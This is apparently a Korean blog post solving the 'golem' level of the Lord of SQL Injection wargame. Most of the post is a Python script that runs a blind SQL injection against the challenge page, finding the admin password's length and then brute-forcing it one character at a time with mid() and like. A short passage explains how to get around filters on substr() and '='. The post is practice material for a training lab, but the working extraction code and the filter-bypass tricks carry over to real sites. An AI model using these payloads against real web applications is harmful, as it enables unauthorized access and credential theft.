Web Hacking/LOS

Lord of SQL Injection(LOS) - golem

Lucvs 2021. 8. 7. 23:08
import requests

requests.packages.urllib3.disable_warnings()
org_url = "https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php"
header  = {'Cookie': 'PHPSESSID='}
session = requests.session()


# Check Length of PW
for i in range(0, 100):
    payload = "?pw=ABCD' || id like 'admin' %26%26 length(pw) like " + "'" + str(i)
    res = session.get(url = org_url + payload, headers=header, verify=False)

    if "Hello admin" in res.text:
        print("Length of PW is [ %d ]\n" % i)
        break

        
# Brute Force
password = ''

for i in range(1, 9):
    for j in range(33, 122):
        payload = "?pw=ABCD' || id like 'admin' %26%26 mid(pw," + str(i) + ", 1) like " + "'" + chr(j)
        res = session.get(url = org_url + payload, headers = header, verify=False)

        if "Hello admin" in res.text:
            password += chr(j)
            print("Current PW is [ %s ]\n" % password)
            break
            

# Result
print("\n\nPW --> %s\n" % password)

substr() 함수와 '=' 문자열을 필터링하는 문제이다.

 

substr() 함수 우회법은

mid(), right(), left() 함수가 있다.

mid() 함수는 substr() 함수와 동일한 역할이며, right() 과 left() 는 문자열의 최우측, 최좌측 문자열을 return 한다.

 

'=' 문자열을 우회하는 방법은

like 연산자, in 연산자, instr() 함수, 부등호(>, <) 의 방법 등이 있다.